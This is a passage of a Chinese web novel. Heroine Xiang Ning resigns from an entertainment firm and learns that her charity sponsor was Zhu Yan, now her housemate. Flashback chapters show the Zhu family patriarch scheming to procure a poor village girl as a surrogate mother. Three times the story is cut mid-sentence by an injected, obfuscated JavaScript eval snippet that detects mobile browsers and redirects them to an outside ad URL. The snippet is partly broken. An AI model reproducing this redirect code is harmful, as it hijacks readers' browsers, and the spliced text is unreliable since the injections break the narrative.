「很明显啊,开直播的就是视频里那个“向女士”,星桥的员工。蒋元磊他儿子居然也在打配合,这才是真·坑爹啊……」 「有什么可阴谋论的?那些话都是蒋元磊自己说的,又没人逼他。」 「话说有没有人觉得,这位“向女士”有点眼熟?」 「这位妹妹我曾见过的.jpg」 「有点像简晓夜的朋友啊,就是去年上过热搜的那个!当时不就扒出来她是简晓夜的大学同学、星桥娱乐的工作人员吗?」 「等等,既然她也姓向,会不会和向晚蘅有亲戚关系?」 随着一条条线索被挖出,吃瓜群众们又对向宁进行了一次深扒,但并没有太多新收获。 就连同公司的“业内人士”也没有可靠的情报,只能在小群里发散思维,提出猜想。 讨论的重点渐渐偏移,不约而同转向一个问题—— [李子不甜]向宁姐这次算是背刺公司了吧?会不会被问责、被开除啊? [Rebecca]问责肯定跑不了,但开除……应该不至于吧?否则一旦被爆料出去,公司岂不是要遭全网喷? 然而她们没有想到的是,次日一早,向宁直接向公司提交了辞职信。 “这招以退为进用得不错啊。” 张洋歪坐在办公椅上,对向宁冷笑一声。 “林总说了,不会因为这次的事给你穿小鞋,更不会逼你走人。不过……经过这件事,公关部你肯定是不能待了。你也不想想,闹了这么一出窝里斗,以后哪个艺人还敢放心跟你合作?” 语毕,他把向宁的辞职信推了回去。 “把这破纸拿走,从今天开始,你就转岗去经纪部吧。公司还愿意给你一个机会,让你在老乔手底下做事,已经够对得起你了,你可别不识好歹。” 向宁后退两步,正色道:“书面辞职信,和OA系统的离职流程,我都提交给你了。不是以退为进,是认真的。” 张洋表情微僵,显然没想到她这一手。如此一来,公司反而有些被动了。 如果向宁在近期离职,不论是否出于她的主观意愿,网友肯定都会把这笔账算在公司头上,认为是他们打击报复,逼走了她。一旦公司风评受损,林总肯定会把锅甩给张洋,怪他留不住人。 “小向啊……”张洋硬挤出一个笑脸,放缓了态度,想着再劝劝她。 向宁却没给他这个机会,直接转身回了办公室,开始收拾东西。 麦秋忧心忡忡,慢吞吞走近几步,还未来得及发问,向宁就先开了口。 “我离职以后,你这个助理的HC肯定就要撤了,算我连累你。” 说着,她打开办公桌下上锁的抽屉,从中取出一张相机存储卡。 “现在,该物归原主了。” 来星桥应聘前,麦秋曾做过一段时间站姐。而她追的明星不是别人,正是况星宸,追了几次行程,很快就知道他谈恋爱了。 第一次拍到他和女生偷偷约会时,麦秋追星正上头呢,所以看到了也权当没看到,只要他不公开恋情,她就心甘情愿替他瞒着。 后来,她还试着说服自己——况星宸虽然是idol出身,但是已经在往演员的方向转型了,谈恋爱也没什么,只要不集邮、不乱搞就行。 奈何怕什么来什么,短短两个月里,况星宸的约会对象用一只手都数不过来了。只算麦秋拍到过的,就有一个演员,三个网红,两个素人,时间线甚至互有重叠。 数十份足以让粉圈发生八级地震的照片和视频,就存在这张小小的SD卡里。半年前,麦秋用它换来了一份心仪的工作。现在眼看工作要没了,向宁自然要物归原主。 “用它做筹码,去任何一个娱乐公司,都能得到你想要的回报。”向宁把存储卡递给麦秋,“或者让你男朋友牵个线,把这张卡送给祝璋,想必她也不会亏待你的。” “杨晨叶认识祝璋?”麦秋睁大了眼睛,十分诧异。 向宁点头:“嗯,你回去审审他吧。” “可是——”麦秋双手背后,不去接她递来的SD卡,“不论我换到哪个公司,肯定都遇不到你这么好的领导了。” 向宁失笑:“我哪里好了?不要睁着眼睛乱说,我是全公司最没职业道德的坏员工了!” 麦秋低下头:“反正就是好。” 向宁轻叹一声,径自走到麦秋的工位旁,把存储卡塞进她书包外层的小口袋里。 “我自己的前路还迷茫着呢,暂时雇不起助理。” 沉默片刻,向宁对麦秋抬眸微笑。 “也许再过几年就有机会了吧。记得保持联系喔,好让我知道,到时候该去哪家公司挖人。” 分别之际,麦秋难免有些伤感,本想多缠向宁一会,问问她未来的规划,可惜被突然到访的乔煦晗打断了情绪。 乔总监要和向组长单独谈话,麦秋这只小虾米自然没资格留在办公室里。 “林总让你来劝我留下?”向宁问。 乔煦晗点点头,又摇摇头:“你做的决定,别人谁也影响不了,劝也白劝。我知道,你一直不喜欢咱们公司的氛围,当初入职就是奔着蒋元磊来的,现在他已经捞不出来了,你肯定不会留在这。我就是来走个过场,免得林总一遍遍催我,烦都烦死了。” “来都来了,别闲着。”向宁从桌下的小冰箱里取出一罐饮料扔给乔煦晗,“跟我讲讲吧,公司打算怎么处理蒋元磊?” “解约,索赔。财务和法务那边还在出方案。公司不付律师费的话,他肯定请不起郑律了,至于要换谁顶上,那是他和他家属的事。”乔煦晗顿了顿,又说,“不过看样子,已经没有家属可以帮他了。” “他在外面不是还有一个‘家’吗?” “那顶什么用?”乔煦晗嗤笑一声,“蒋元磊那个小女朋友没比你大几岁,没有工作,这些年一直靠他养着,估计也没多少存款。至于他们那个小儿子,一年的学费都要几十万,迟早有养不起的时候。由奢入俭,有他们忙的,哪里还舍得砸钱请好律师?” 向宁想了想,问起:“向阿姨最近有计划回国吗?总得把离婚的事情处理干净了。” “她的律师团建议,等蒋元磊的案子判了再说,这样对她更有利。”乔煦晗话锋一转,“这些事用不着咱们操心。倒是你,突然把工作辞了,想好以后去哪了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15081548|158356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吗?” “早就想好了啊。”向宁语带笑意,“去做晓夜的经纪人,我答应过她的。” “行,你有后路就行。”乔煦晗抬手看了看表,“不行,我得再耗些时间。” 一个小时后,乔煦晗愁眉苦脸,走进林总的办公室。 “我苦口婆心,劝了向宁一个多小时,她还是决定要辞职。我没招了,您拿主意吧。” “全网都盯着咱们公司呢,她现在辞职,不是等于二次背刺吗!?”林总皱着眉挠了挠后脑,起身不悦道,“我亲自去找她说道说道!” “她已经走了。”乔煦晗迈步阻拦,“刚才她接了个电话,说是有急事。” “走了?”林总愈发恼火,“离职手续还没开始办,她要走哪去?” …… “就是这了,您稍等。” 一处写字楼的顶层走廊里,年轻的工作人员带向宁走进一家慈善基金会的工区,行至一间办公室外,轻轻敲响屋门。 “来了来了!”很快有人跑来开门,那是个穿着干练的中年妇女,对向宁笑着说,“你就是宋检察官说的那个老乡吧?” “是,您好。”向宁与她握手。 “我姓赵,她们都叫我赵姐。”赵姐嗓门颇大,态度透着亲切,把向宁迎入屋内,“听宋检说,你接受过燃藜计划的资助,去年考上大学了?” “没错。” 向宁素面朝天,扎着学生气十足的马尾辫,说话还带着点阔别已久的乡音。若不仔细观察,实在难以察觉她就是此刻正挂在热搜上的那位“神秘向女士”。 “我这次来,主要是想向燃藜计划的幕后资助人表达感谢。”向宁的笑容稍显拘谨,“但我不知道该怎么联系对方,所以希望能求助于您。” “啊——好事,是好事。”赵姐拍了拍她的手背,渐渐面露难色,“但是……那位资助人不是我们基金会的内部人员,只是委托我们代为管理这部分捐款。而且他要求我们对他的身份完全保密,也拒绝与任何被资助人私下联系。要不这样吧,你给他写一封感谢信,再由我们转寄给他,怎么样?” “他?”向宁找到重点,“也就是说,燃藜计划的幕后资助人确实只是一个‘个人’,而不是一个‘组织’,也不是开放社会捐款渠道的‘项目’,对吗?” “呃——”赵姐反应了几秒,迟疑道,“这么说也行。” 向宁又问:“听说燃藜计划每年的打款日期都是固定的,赵姐,这个日子是资助人选的吗?他有没有说过,为什么要选这一天?” 赵姐摇头:“不是资助人选的,是发起人选的,说是为了纪念一个英年早逝的女孩,所以在她生日这天打款。” 向宁心中一震,顾不上多想,连忙追问道:“现在这位资助人,并不是当年发起这个项目的人?” 赵姐抿了抿唇,深深一叹道:“几年前,那位发起人意外离世了,现在的资助人才接手了燃藜计划,并继续投入资助,算是完成他的遗愿吧。” 向宁抓住关键:“那位发起人也要求您对他的身份完全保密吗?” “这倒没有。” “那您能告诉我他的墓地在哪吗?”向宁一脸真诚,“我毕竟受过他的恩惠,至少该去给他扫扫墓。” “你有这份心就好,不用去扫墓。”赵姐又是一叹,“再说了,那家人也不是一般的家庭。他们的家族墓地啊,外人进不去的。” 听到这话,向宁心里忽地乱了,下意识问出:“他叫什么名字?” 赵姐并未察觉她神情有异,直言道: “他叫——祝琰。” 70. 往事-祝家 一道重重的关门声,把正在客厅里逗猫的简晓夜吓了一跳。 她循声朝向宁望去,好奇道:“这么快就办完离职了?” 向宁没有答话,甚至顾不上换鞋,便径直去拍枕安的屋门,咚咚的声响使简晓夜愈发心惊。 “怎么了?”简晓夜放下小猫,追上向宁的步伐。 向宁依然沉默,只等枕安打开屋门。 “出什么事了?”枕安手里的画笔还未来得及放下,便匆匆跑来打开屋门。 “你……”向宁张了张口,犹豫着挤出来一句,“你认识我。” 简晓夜在旁边看得一愣,伸手去摸她额头的温度,疑惑道:“没发烧啊,怎么开始说胡话了?咱仨在一个屋檐下住了这么久,他还能不认识你啊?” “他知道我是什么意思。”向宁移开她的手,定定地看了枕安几秒,“你早就认识我。” 枕安捏紧了手中画笔,否认道:“我不明白你在说什么。” “别把我当白痴糊弄!”向宁皱起眉头,“我既然会来找你对质,就说明我对自己的推测有十足的把握。就算你瞒着不说,我也会去找别人求证。但如果我是从别人嘴里了解到事情的全貌,你在我心里是什么形象,可就由不得你自己做主了。” 见她态度如此强硬,枕安似乎也别无选择,只能垂眸承认道:“是,我……早就认识你。”顿了顿,又补充道:“单方面的认识你。” “果然。”向宁表情严肃,“除了这个,你就没有其他事要跟我坦白吗?” 在这样突如其来的高压氛围下,竟是简晓夜先支撑不住了,仿佛又回到了提心吊胆的童年时代,孤零零夹在矛盾颇深的父母中间,想开口劝架,又怕大人们的怒火殃及自己。想说两句俏皮话活跃气氛,却又清晰地意识到,他们之间的矛盾不是能靠插科打诨来解决的。 为防再旁观下去,她的童年ptsd会即刻发作,此刻摆在简晓夜眼前的只有一条路—— “你们慢聊,我回避。” 三十六计走为上,古人诚不我欺。 简晓夜抱着小猫回到卧室,给他们留出了一片无人打扰的私密空间。 “是不是祝璋姐跟你说什么了?”枕安略显心虚地问。 向宁闻言讶然:“这里面还有祝璋的事?” 枕安自知失言,只能解释道:“我只是想知道,你都听说什么了,为什么会突然来找我对质。” 向宁迈步靠近他,冷脸发问:“怎么,你还打算根据我知情多少搞区别对待,说一半藏一半吗?” “我不是这个意思。” “那就回答我的问题——你为什么会认识我?为什么要给我们村捐款?为什么咱们相处了这么久,你却从没想过要对我开诚布公!” 枕安正欲开口,向宁却打断道:“等等,我先来给你排除几个错误答案。” “首先,你可别说是通过那部电视剧认识我的。燃藜计划的第一笔捐款到账时,那部剧还在审核,并没有播出。这个谎骗不了我。” “其次,你也别说燃藜计划的发起人不是你,是祝高远,或者祝璋在以你的名义做慈善。如果是这样,在‘祝琰’去世后,他们根本用不着换一个资助人来接手项目。” “最后,我不想听到诸如‘瞒着你是为了你好’这种屁话。我不需要这种‘好’,我需要的是尊重,是知情权,是朋友之间的信任和坦诚!” 枕安的嘴唇颤了颤,闭上双眼忍住泪意,微微哽咽道:“对不起。我……我真的没有恶意……” 向宁抱臂叹了声气,别开脸看向窗外,乏力道:“这是家里,不是公司,我实在没有精力,也不想浪费心思跟你玩那套诈供诱供、周旋试探的话术。也许你真的有难言之隐,所以才不愿意对我据实以告。那不妨这样吧,我给你两个选择,你自己决定选哪个。” 枕安睫毛低垂,挂着若有似无的水润,轻声道:“什么选择?” 向宁的语气全无往日的温度:“第一个选择,想必我也不用多说了。至于第二个……”她转过脸来,去探寻他的目光,“带着你的秘密,从我家搬出去。” 枕安愕然抬眸,无力道:“你要赶我走?” 向宁冷冷与他对视:“我没办法信任一个对我有所欺瞒的人,更无法跟这样的人同住一个屋檐下。” 语毕,她盯着他的双眼后退几步。 “我的耐心很有限。如果你决定说实话,就来我房间详聊。如果你不想聊,那现在就可以收拾行李了。” 眼看向宁转身要走,枕安连忙追上两步:“等等!” 向宁回眸:“这么快就想好了?” 枕安答非所问:“家里还有酒吗?” 向宁有些意外地挑了挑眉:“你要啤的、红的、还是白的?” 枕安脱口便说:“洋的。” 向宁看着他“视死如归”的神情,没忍住轻轻一笑,很快又重新板起脸来,揶揄道:“就你那酒量还喝洋的,扛得住吗?” 枕安抿了抿唇,下决心道:“酒后吐真言。正因为扛不住,才能让你相信我说的是实话。” 向宁不置可否,从酒柜里拿了瓶龙舌兰,刚要关柜门,动作却忽地一顿,犹豫片刻后,还是换了一瓶最适合入门者的低度果酒。 向宁回屋不久,枕安便抱着一幅装裱好的画作走进门来。 “还记得它吗?”他把画展示给她看。 “记得,好像叫《回忆余烬》吧?是况星宸抄袭的那幅,咱们就是……”向宁把酒杯递给枕安,话语一顿,意识到什么便改了口,“我就是因为那件事,才认识你的。” 枕安开门见山:“这幅画上的女孩就是你。” 向宁闻言一惊,下意识便反驳道:“怎么可能?” 她重新看向那幅画,仔细观察每一个细节。 画面主体是一张证件照,猩红底色刺得她瞳孔微颤。穿着中学校服的少女难辨面容,像是谁用烟头沿着她的五官恨恨灼了相纸,燎出焦黑边缘,唯余焦褐的碎屑悬在画布上。纸灰簌簌散落在油彩褶皱里,偶有零星火点子忽明忽灭,仿佛下一秒就要燃尽这帧藏在记忆暗格里的残影,散作满地烫人的余烬。 “这怎么可能?”她又重复了一遍,伸手抚上画布,“我从来没有穿过这样的校服,更没有拍过这样的照片……” 她的手指慢慢向下,最终停在画中少女的耳垂上,不由一颤。 这里有一颗小痣。 而她的右耳,在同样的位置也有一颗小痣。 不浓不淡的褐色,不足芝麻粒大小的一抹,太细节又太不显眼,以至于她上次看到这幅画时,竟然没有发现这个“巧合”。 “你什么时候画的这幅画?”她柔声问。 “十八岁,从祝琰变成枕安的那一天。”枕安抓着画框的手愈发用力,“但是这个故事,还要从更早的时候说起。” 从祝高远,从祝璋,从他说起。 …… 祝高远有着最符合“传统价值观”的教育理念,在他看来,儿子就负责读书明理,继承家业,女儿则要温婉贤淑,将来联姻选个好人家,相夫教子,便是圆满。 可祝璋偏偏不遂他愿,从小就掐尖要强,颇有个性,跟“温婉贤淑”四个字简直八竿子打不着。 为了纠正她的“错误”,一任又一任家庭教师如流水般换个不停,可谁也没能改了她的脾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15086048|158356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气。 最后闹得祝高远实在没了办法,只能做出让步,对她妥协道:“我也不强求你做到琴棋书画样样精通了,可你至少得选一样,给我做到最好!” 祝璋这次没有再跟父亲叫板。 “好,我选画。” 这倒不是因为她喜欢画画,而是目前的四个家庭教师里,只有美术老师Linda是个聪明人,每次上课都直接放她去自习。至于她的课堂作业,则全都是小弟祝琰代画的。 反正祝琰从小就喜欢画画,Linda老师还说他很有天赋,让他替祝璋上课也算是双赢了。 祝高远工作很忙,不常回家,对孩子们搞的这些小动作一无所知。祝璋定期派人把祝琰的画送给他看,祝高远虽然不懂艺术,看不出画作优劣,却也对女儿的态度非常满意。 祝璋十九岁,祝琰十五岁那年,他们的爷爷去世了。 葬礼上,祝高远为父亲的离世大悲大痛,眼泪淌个不停,比十年前在自己妻子的葬礼上表现得真挚许多。 为了给家族墓地选址,祝高远专门从香港请来一位“风水大师”,据说他不仅是许多大财团的入幕之宾,身上还沾着点政界的人脉。 那人神神叨叨在全市遛了几大圈,诓走了祝家不少真金白银。这笔钱祝高远花得开心,花得乐意。 而最让他惊喜的,还属“大师”临别之际的几句赠言。 “祝董您可知,令千金颈侧的那块胎记有何玄机?” 祝高远连忙叫来祝璋,仔细端详一番,却看不出什么门道。 “大师”捻须一笑,叫人奉上纸笔,抬手便写下四句七言——胎痕如花映琼肌,金蕊招财暗香移。若使商海添娇影,家业如虹踏云梯。 祝高远深为震惊:“您是说,这丫头能帮我把家业做大?” “大师”不再多言,只轻轻点了点头。 这一个动作,一首赠诗,一出好戏,是祝璋私下找他花大价钱买来的,为的无外乎一个“争”字。 至于这笔钱花得值不值,短期内似乎难以看出成效。 值得欣慰的是,这年暑假,祝高远终于不再反对女儿进自家公司实习了,偶尔还会亲自给她布置几个小任务让她练手。 这天晚上,祝高远难得回一趟家,跟两个孩子吃了顿团圆饭,末了还取出一沓简历交给祝璋,让她负责筛人。 祝璋以为这又是个工作任务,便问:“裁员还是招聘?” 祝高远却笑呵呵地摇头道:“都不是。我是准备做个慈善项目,资助一位失学少年继续读书,让你帮我从这些候选人里挑一个出来。” 祝璋诧异道:“咱家又不缺钱,既然有这么多合适的学生,全都资助不就行了?” “啧,小孩子家家的懂什么!让你挑你就挑!”祝高远教训道,“挑出来一个最合适的,你给那孩子画幅肖像画,就当见面礼了。正好也让我考察考察,这段时间你的画工有没有退步。七天后我派人来取画,抓紧时间。” 语毕,祝高远扬长而去,祝琰倒是好奇地凑了过来。 “你选好了吗?”他问。 “哪有那么快,我不得仔细想想?”祝璋把手中简历一一平铺在桌面上,“怎么,你也想争一张选票?” 祝琰耸耸肩:“不给我选票也行,不过,那张肖像你就自己来画吧。” “就算咱俩一人一票,要是打平了,又该怎么定胜负?” “抓阄呗。” 画室里,祝家姐弟一人揭下一张便利贴,各自写下一个候选人的名字,再将纸揉成小团。 至于最后抽出了谁的纸团,其实并不重要,因为二人写下的是同一个名字。 花娣。 71. 往事-祝琰(一) 虽然做出了同样的选择,但这姐弟俩给出的理由并不相同。 祝琰想得比较简单:“在这三十个候选人里,她家的经济条件最差。既然是做慈善,当然要优先考虑贫困学生了。” 祝璋则是从另一个角度出发:“很简单,我选她,就是因为她的名字。” 即便二人从未见过面,祝璋还是会跟那个女孩共情。不为别的,就为自己的名字也跟她异曲同工。 很少有人知道,祝璋的原名叫“祝引璋”。俗话说,生了儿子便是弄璋之喜,引璋引璋,无非是文雅点的“招娣”罢了。 以祝璋的性格,哪里受得了这种委屈?八岁那年知道自己名字的含义后,她当即找祝高远大闹一场,硬生生把那个“引”字给剜了下去。 名字可以改,心结却难消。祝琰也知道姐姐为此跟父亲有多年隔阂,只是从未表现在明面上罢了。 巧合也好,注定也罢,既然两人选出了同一位受助者,祝琰便得尽快开始为她绘制肖像。免得无法按期完成祝高远的任务,又要害祝璋挨他一顿批评了。 花娣的简历里只有一张红底证件照。十六岁的面庞总显青涩,乌黑油亮的麻花辫子垂在肩头,像是从旧时光里走出来的人。 祝琰调好颜料,笔尖轻快地落在画布上,勾勒出她那陌生的轮廓。 一双漂亮的眉眼渐渐清晰,继而是高挺的鼻梁、唇角的浅笑,一笔一画都无需犹豫,仿佛每个切实的落点都被演练过无数次。 可当祝琰接着再往下画时,他的笔尖却忽然顿住了。 女孩的衣裳并不合身,显然已经很旧了,颜色甚至褪得发灰,也许在镜头之外,还打着几个补丁。 祝琰皱了皱眉,心里莫名涌上一股不悦的情绪,宛如一根细针轻轻刺进他的胸口,带着一丝酸楚的疼。或许是怜悯。 他低头看了看自己的手,指尖沾了点颜料,像是染了血似的。 他的目光在那一点猩红上落了许久,倏地抬眸,大约是想起了什么,紧接着笔尖一转,那身旧衣裳就渐渐变了模样—— 精致的校徽,崭新的校服,笔挺得像是刚从包装盒里取出来,连褶皱都透着一种刻意的整齐。 他画得很仔细,每一笔都带着一种近乎执拗的认真。 既然这幅画是祝家送给她的见面礼,那么,他不想把她的窘迫留在画里。 可是不知为什么,画着画着,他心里那股情绪却愈发浓重,像是压了一块石头,沉甸甸的,怎么也摆脱不了。 几天时间一闪而过,祝高远已经急着要验收女儿的“家庭作业”了。 负责跑腿那人是祝家的司机,姓杜。他礼貌地敲了敲画室门,问道:“大小姐,您在里面吗?祝董让我来取画了。” 祝琰没有应声,轻手轻脚地走进存放画材的小隔间里,关上门躲藏起来。他给祝璋当枪手的事,可不能让祝高远的人知道了。 杜司机见没人答话,便直接开门走了进去,小跑着奔向窗边的画架。 看清画中女孩的面容后,他的眼睛一下子亮了,像是发现了什么了不得的宝藏,忍不住猛地拍了一下手掌。 “好!太好了!” 那声音里带着一种难以掩饰的亢奋,在安静的房间里显得格外突兀。 杜司机顾不上取画,先给祝高远发了几条信息,紧接着又将画室门反锁起来,偷偷摸摸打出去一个电话。 祝琰被他古怪的行径搅得愈发不安,索性将隔间的门推开一条小缝,暗暗观察他接下来的一举一动。 “喂,姐夫,我来给你报喜啊!”杜司机压低了声音,却压不住他激动的情绪,“你家小闺女选上了,选上了!” 祝琰很快反应过来,电话那头大约是花娣的父亲。算算辈分,杜司机应该是她的舅舅。难怪他这样激动,亲戚家小孩能得到祝家的一对一资助,确实是一件喜事。 “啧,这还要我教你啊?”杜司机轻蔑一笑,“你就说带她去县里买衣服呗!只要能把她骗上祝家的车,后面的事情就不用咱们操心了。” 骗? 祝琰闻声,心里不由一惊。这短短几句话里似有无数疑点,使他一时理不清头绪。 “姐夫,不是我跟你邀功哈。说实话,这次要不是我在祝董面前出了力,你闺女可未必能被选上!一百来号候选人呢,谁家不想挣这份钱啊?”杜司机吹了个洋洋自得的牛,紧接着便露出贪婪嘴脸,“我也不跟你多要,事成之后,你把祝董给的彩礼分我一半就行!” 彩礼? 祝琰越听越不对劲,眼看那两人已经谈好了价码,他实在无法对此视而不见,当即踢开隔间门,对杜司机大喊道:“你们要干什么!?” 杜司机被这突如其来的一声厉喝吓得险些摔了手机,急忙挂掉电话,把那幅肖像画抱入怀中保护起来。 “小少爷,您怎么在这啊……”他一边赔笑,一边往画室出口挪步。 祝琰冷哼一声,去画架边按了两个按钮,画室的大门便被锁死了。 杜司机疯狂扭动着门把手,却是无济于事。 祝琰步步紧逼,把他堵到一处死角,伸手抓住画框:“你刚才说的彩礼,到底是怎么回事?” 杜司机紧紧抱着怀里的画,并不回答他的问题,只一味打马虎眼。 祝琰逼问无果,只能变换策略,松开手后退两步,轻笑道:“既然你不愿意回答我的问题,那就别怪我了。” 杜司机闻言一愣,不禁有些后背发凉:“怪您什、什么?” 祝琰取下自己的手表放入他手心,趁他尚未反应过来,便将他的五指合拢,用力按了按,然后又将手表拿了回来。 “知道这块表的市价吗?”祝琰问。 杜司机不解其意,奉承着猜测道:“大七位数?” “算你有点眼力。”祝琰微微一笑,继而换上兴师问罪的语气,“你是吃了熊心豹子胆吧,竟然敢偷我的手表!” 杜司机霎时憋红了脸,辩驳道:“小少爷,你这不是睁眼说瞎话吗!刚才明明是你自己——” “画室里没有监控,谁能证明你的清白!”祝琰沉着脸威胁道,“你在我手表上留下的指纹,可是实打实的犯罪证据。” 经了这一遭恐吓,杜司机已然腿软,却还是强撑着摇头道:“你这是诬陷!警察不会相信的!” “谁说我要报警了?”祝琰把手表收进裤子口袋里,抱臂道,“直接把你交给我爸发落就行,他这人你也了解,一向是‘疑罪从有’的。上次他丢了一块玉佩,是怎么处理的来着?” 杜司机听他提起这事,顿时吓得瘫坐在地,膝行到他脚边,痛哭着苦求道:“小少爷,您就饶了我吧!这都是祝董的意思,我们下面人不过是按吩咐做事,您为难我们也没有意义啊……” “少废话!”祝琰踢开他的手,居高临下道,“回答我的问题。” 杜司机不敢再瞒,却又羞于直言,迟疑半晌,还是挤牙膏似的开了口。 “说起来,都怪上次那个风水先生信口开河!他说……说您的八字不吉,有败家之兆,实在难堪大用。” 祝琰闻言双眉直蹙,不悦道:“这都什么跟什么!我问的是——” “就是因为这事啊!”杜司机抢话道,“祝董怕将来没人能继承他的家业,这才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15090332|158356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动了再生一个孩子的心思。” “不是还有我姐吗!?”祝琰只觉荒谬,“再说他都五十多了,还瞎折腾什么?” “大小姐毕竟是个女孩,儿子和女儿终究不一样嘛……”杜司机小心打量着祝琰的表情,支支吾吾道,“祝董说了,乾隆皇帝六十多岁还有孩子出生呢,他才五十多岁,什么都来得及。所以他才让我们搜罗了许多八字旺财、身体健康、适合生养的女孩。” 祝高远已经选好了六十年一遇的好八字,只要尽快选好孕母,按期移植胚胎,等到了那个时辰,再把孩子剖出来就行。 祝琰心头一紧,顿时明白过来:“我爸根本不是要资助那女孩读书,而是要她——” 后半句话生生卡在喉咙里,祝琰实在不忍心说出口,满腔怒火亟待宣泄,化作一记结结实实的重拳,打在了杜司机的脸上。 “你是她亲舅舅,怎么能把她往火坑里推!” 杜司机捂着脸颊,忿忿道:“我只是把她的资料交给了祝董而已,最终人选又不是我能决定的!您要怪也应该怪大小姐去啊!谁让人是她选的,画也是她画的……” 眼看祝琰又要砸下第二拳,杜司机的态度马上软了下来,改口道:“就算不选我们家小花,也要换成其他女孩,都一样!至少小花她是自愿的,没人逼她!” “自愿的?”祝琰动作一滞,稍加思索,旋即又狠狠打了下去,“放什么狗屁!她要真是自愿的,还用得着你教人撒谎把她骗上车吗!?” 杜司机被打得眼冒金星,一个不留神,怀里的画就被祝琰抢走了。 等他再睁开眼,那幅画便已经被扔进了壁炉中。 彼时正值盛夏,壁炉并未点燃,但只要祝琰按下旁边的按钮,这幅画马上就会付之一炬。 杜司机连忙扑过去拦住他,急喊道:“你把画烧了也没有用!我刚才已经把人选上报给祝董了,他很快就会派保镖去接人!既然走到了这一步,祝董是绝对不会收手的!” 祝琰闻言,脚步忽地一顿。 杜司机见状,连忙扑通一声跪到他面前,情绪异常激动:“小少爷,您要是烧了这幅画,祝董就会发现我出卖了他,也会发现您知道了他的秘密,那咱们俩可就都没有退路了!不如这样,咱们就当什么事也没发生好吗?您原做您的富家少爷,我原赚我的钱,何必为个外人跟祝董闹不愉快呢?” 祝琰双手紧攥,慢慢后退几步,按下画室大门的解锁按钮,继而浑身卸力般坐进了一堆弃置不用的画布中间。 “滚。”他将画布上干硬结块的颜料捏得咔嚓作响,“滚出去!” 杜司机如逢大赦,忙不迭抱着画跑走了。 祝琰心乱如麻,迟疑着拿起手机,颤抖着按下三个数字——1、1、0。 可他在拨号界面停留许久,直到手机自动熄了屏,这通电话还是没有打出去。 作为祝家的一员,他的顾虑实在太多。在某些难题面前,“知”与“行”终究是无法合一的。 可是,他也不能就此丢开手,对一切即将发生的悲剧坐视不理。 祝琰起身回到画架边,再次看向那张简历的地址一栏。 那女孩的家乡很远,距此地有四五个小时的航程。而目前可订的最近一次航班,将于三小时后起飞。 少年人的血液里大多流淌着天真的冲动,仿佛只要心一热,便能生出拯救世界的宏愿来。 祝琰是例外,也不是例外。他知道自己没有能力拯救世界,但他总归放不下那一点小小的英雄主义。 至少今夜,他可以亲自赶往那个陌生的山村,也许来得及救下那个女孩呢? 72. 往事-祝琰(二) 所谓富家公子哥,说到底也不过是另一种意义上的井底之蛙,没见过真正的世面。头脑一热,便以为自己能孤身做出一番大事,结果却往往是临阵抓瞎,狼狈不堪。 祝琰便是这样一个典型。 在此之前,他的日常出行都有专人专车安排接送。司机西装革履,白手套一尘不染。车门一开一关,他便从祝家庄园到了远郊马场,从高级餐厅到了私人会所。 对于这个只有十五岁的少年,他全部的社会经验加起来,也只够他礼貌地对空姐微微一笑,优雅地走下飞机舷梯,抬头对着刚刚探出地平线的朝阳叹一口气,然后面对接下来的未知旅途陷入茫然。 这一次,飞机只能把他送到市里。再往后的路,就只能他自己走一步看一步了。 祝琰原本盘算得挺好:租辆好车,雇个司机,一路畅通无阻地开到那个偏僻的村落。 可他没想到,在这种小城市里,别说豪车租赁了,就连个像样的租车公司都找不到。街边的小型车行里,几辆破旧的桑塔纳和面包车歪歪斜斜地停着,车窗上贴着“诚信租车”的褪色广告,字迹模糊得像是两百年后的出土文物。 祝琰站在车行门口,眉头皱成了川字。出于对自身安全的高度负责,他只能改坐火车。 可是……火车?这种交通工具对他来说,只存在于票房惨淡的文艺电影里。灰暗荧幕里的火车总是冒着蒸汽,轰隆隆地穿过无垠的荒野,带着某种浪漫的冒险气息。 可现实中的火车却是另一番景象——车厢里挤满了人,汗味、泡面味、脚臭味混杂在一起,像是某种如影随形的化学武器。祝琰捏着鼻子,小心翼翼地避开地上的瓜子壳和痰渍,好不容易找到自己的座位,却发现对面的大爷正脱了鞋,把脚搭在座位上,悠然自得地抠着脚趾。 也许是心理作用,祝琰总觉得这辆火车颠簸得像是随时会散架,他坐在硬邦邦的座位上,感觉自己仿佛被扔进了一个巨大的铁皮垃圾箱里,被人随意摇晃着,时刻有脑浆迸裂的风险。 窗外的风景飞速后退,晃得他眼晕。想睡一觉也被颠得睡不着,只能硬抗过去。 折腾了这么一大圈,火车到站时已是午夜。 